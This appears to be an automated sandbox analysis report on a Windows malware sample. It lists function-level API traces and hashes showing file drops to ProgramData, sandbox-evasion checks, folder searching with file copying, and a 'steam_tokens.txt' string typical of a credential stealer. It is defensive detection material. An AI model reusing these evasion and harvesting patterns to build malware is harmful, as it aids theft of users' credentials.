Opcode ID: 90b8bf4af502dda8ede57ae4c6d3c97dd44b92e7eff35f164bafe0067516c16f
Instruction ID: 55ebfe5bea072269aba33a565d8c59cbe62f1375a0798b8cb4aa3666f491b8e5
Opcode Fuzzy Hash: 90b8bf4af502dda8ede57ae4c6d3c97dd44b92e7eff35f164bafe0067516c16f
Instruction Fuzzy Hash: EA916471B001089FCB18EF65DA95EED77B6EF94304F10816EE40A9F391DB349A49CB86

Function 00419850 Relevance: 4.5, APIs: 3, Instructions: 48fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004108DC,C:\ProgramData\chrome.dll), ref: 00419871
WriteFile.KERNEL32(000000FF,004108DC,?,004108DC,00000000,?,004108DC), ref: 004198A3

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 87033afd89575812e055b209c04b4c4260860767bd957b8fe466ea0b568eb40e
Instruction ID: c00870ae4f46cd9ec0fbaadc8d13ab59566e93f84a6b66ec8604c729da6f8a20
Opcode Fuzzy Hash: 87033afd89575812e055b209c04b4c4260860767bd957b8fe466ea0b568eb40e
Instruction Fuzzy Hash: BE11C830A08248BBDB10EFA0DC15BDE7B795F05314F044199F655A72C1DB346B45C7DA

Function 00417A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction ID: 80df14e24d55d9e77394b8c0389cbc6422d62e125eda11eaf6ba37d1415b345b
Opcode Fuzzy Hash: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction Fuzzy Hash: D60181B1E08359ABC700CF98DD45BAFBBB8FB04751F10021BF505E2280E7B85A408BA2

Function 00419600 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
CloseHandle.KERNEL32(00000000), ref: 0041963F

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction ID: 8add19ce2c94a4db983c162c5ea883653429c1f160fd421327fd5bffa921fc45
Opcode Fuzzy Hash: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction Fuzzy Hash: 95F03A7490120CEFDB14DBA4DD4AFEA7778BB08300F004599FA1997280E6B06E84CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction ID: f86d798d442288df0e099431c712f1cdbed5da6d4770a056b1c254158006f616
Opcode Fuzzy Hash: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction Fuzzy Hash: DCE0E670D8A30CFBE7105BA19D0AB4D77689B04B15F101156F709BA5D0D6B92640565D

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 7b362698908ff61aa31d4ac6417e82130d01c510d282f3d3cff84c4ea47e76dd
Instruction ID: 960187402ee01aff1aca01ef16381d87fa4c626a1601440f33a421b94010635f
Opcode Fuzzy Hash: 7b362698908ff61aa31d4ac6417e82130d01c510d282f3d3cff84c4ea47e76dd
Instruction Fuzzy Hash: D6213374A04208EFDB04CF88D544BADBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f67c1ee81b792ebf250256528aa3b6b9dcb1e54953850a22de8d950c6cb86ce9
Instruction ID: fd8884a5b4d1e95754380b5432cffff504e2d4d7245242e6cdc6148b35b0e1b4
Opcode Fuzzy Hash: f67c1ee81b792ebf250256528aa3b6b9dcb1e54953850a22de8d950c6cb86ce9
Instruction Fuzzy Hash: 816127B4900209DFCB14CF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414E00 Relevance: 3.1, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414E3A
lstrcatA.KERNEL32(?,00861258), ref: 00414E58

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C00
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,004208D3), ref: 00414C15
Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C32
Part of subcall function 00414B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00414C6E
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,0085DCA0,?,000003E8), ref: 00414C9A
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE0), ref: 00414CAC
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CC0
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE4), ref: 00414CD2
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CE6
Part of subcall function 00414B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00414CFC
Part of subcall function 00414B60: DeleteFileA.KERNEL32(?), ref: 00414D81

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C57

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 96ca4b8fee943fcefae6de1e709fc3017b10229750f5af120523a159a3f8e737
Instruction ID: e9161ec81bcd1d29be655bd6d91fa6844fd782dbdf96c1af6834d1d6ae200bb8
Opcode Fuzzy Hash: 96ca4b8fee943fcefae6de1e709fc3017b10229750f5af120523a159a3f8e737
Instruction Fuzzy Hash: F041B6B7E0410467C754F764FC52EEE333E9BC8304F40855EB54696191ED78AAC88B95

Function 00415350 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,0085DAF0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

lstrlenA.KERNEL32(00000000,00000000,00420ACE,?,?,?,?,?,?,0041635B,?), ref: 0041537A

Strings

steam_tokens.txt, xrefs: 0041538F

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 05c3bf2e8d49d1371e3a8ef3ba893d9939886e2072245d48c510c30610a2984f
Instruction ID: 583e1202a90f05d24a8fafb6f0fe3048dc9e4c24137b9a3722a1f5dcf54c1db9
Opcode Fuzzy Hash: 05c3bf2e8d49d1371e3a8ef3ba893d9939886e2072245d48c510c30610a2984f
Instruction Fuzzy Hash: 5AF06D31E1110876CB04FBB2EC679ED733D9E50358F80426EB416220D2EF386698C7AE

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction ID: 7de8415141d8ede1392e5156f4839a36e98c975bb62c62673ce2cce929d499c4
Opcode Fuzzy Hash: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction Fuzzy Hash: 9ED05E74D0530DABCB04DFE09D496DDBB79BB0C315F041656DD0572240EA305441CA66

Function 0040B4C0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrlenA.KERNEL32(00000000), ref: 0040B992
lstrlenA.KERNEL32(00000000), ref: 0040B9A6

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: be5948ba1ebddf830fe769f58b9bdffc92f6e0499b7c9f20c1e023646cf0178f
Instruction ID: 2255bc3e1aae02863dcd83073914f46634cd1c5da6bc7bd4c07d15e0a17c61c2
Opcode Fuzzy Hash: be5948ba1ebddf830fe769f58b9bdffc92f6e0499b7c9f20c1e023646cf0178f
Instruction Fuzzy Hash: BAE14672A111189BCB04FBA1DD66EEE7339AF14314F40459EF10672095EF387B98CB6A

Function 0040AEC0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

lstrlenA.KERNEL32(00000000), ref: 0040B13A
lstrlenA.KERNEL32(00000000), ref: 0040B14E

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 37f5a5b1d753e8434a0ddb47d6e512402e0e0ddfac02dab9967715e919626289
Instruction ID: b118e420acb74f1bad9678fc0f4fca3608bd39bb9752133bd9c886ddfd0b535b
Opcode Fuzzy Hash: 37f5a5b1d753e8434a0ddb47d6e512402e0e0ddfac02dab9967715e919626289
Instruction Fuzzy Hash: A8916672A151089BCB04FBA1DC66DEE7339AF14314F40456FF10663195EF387A98CB6A

Function 0040B200 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

lstrlenA.KERNEL32(00000000), ref: 0040B3FE
lstrlenA.KERNEL32(00000000), ref: 0040B412

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

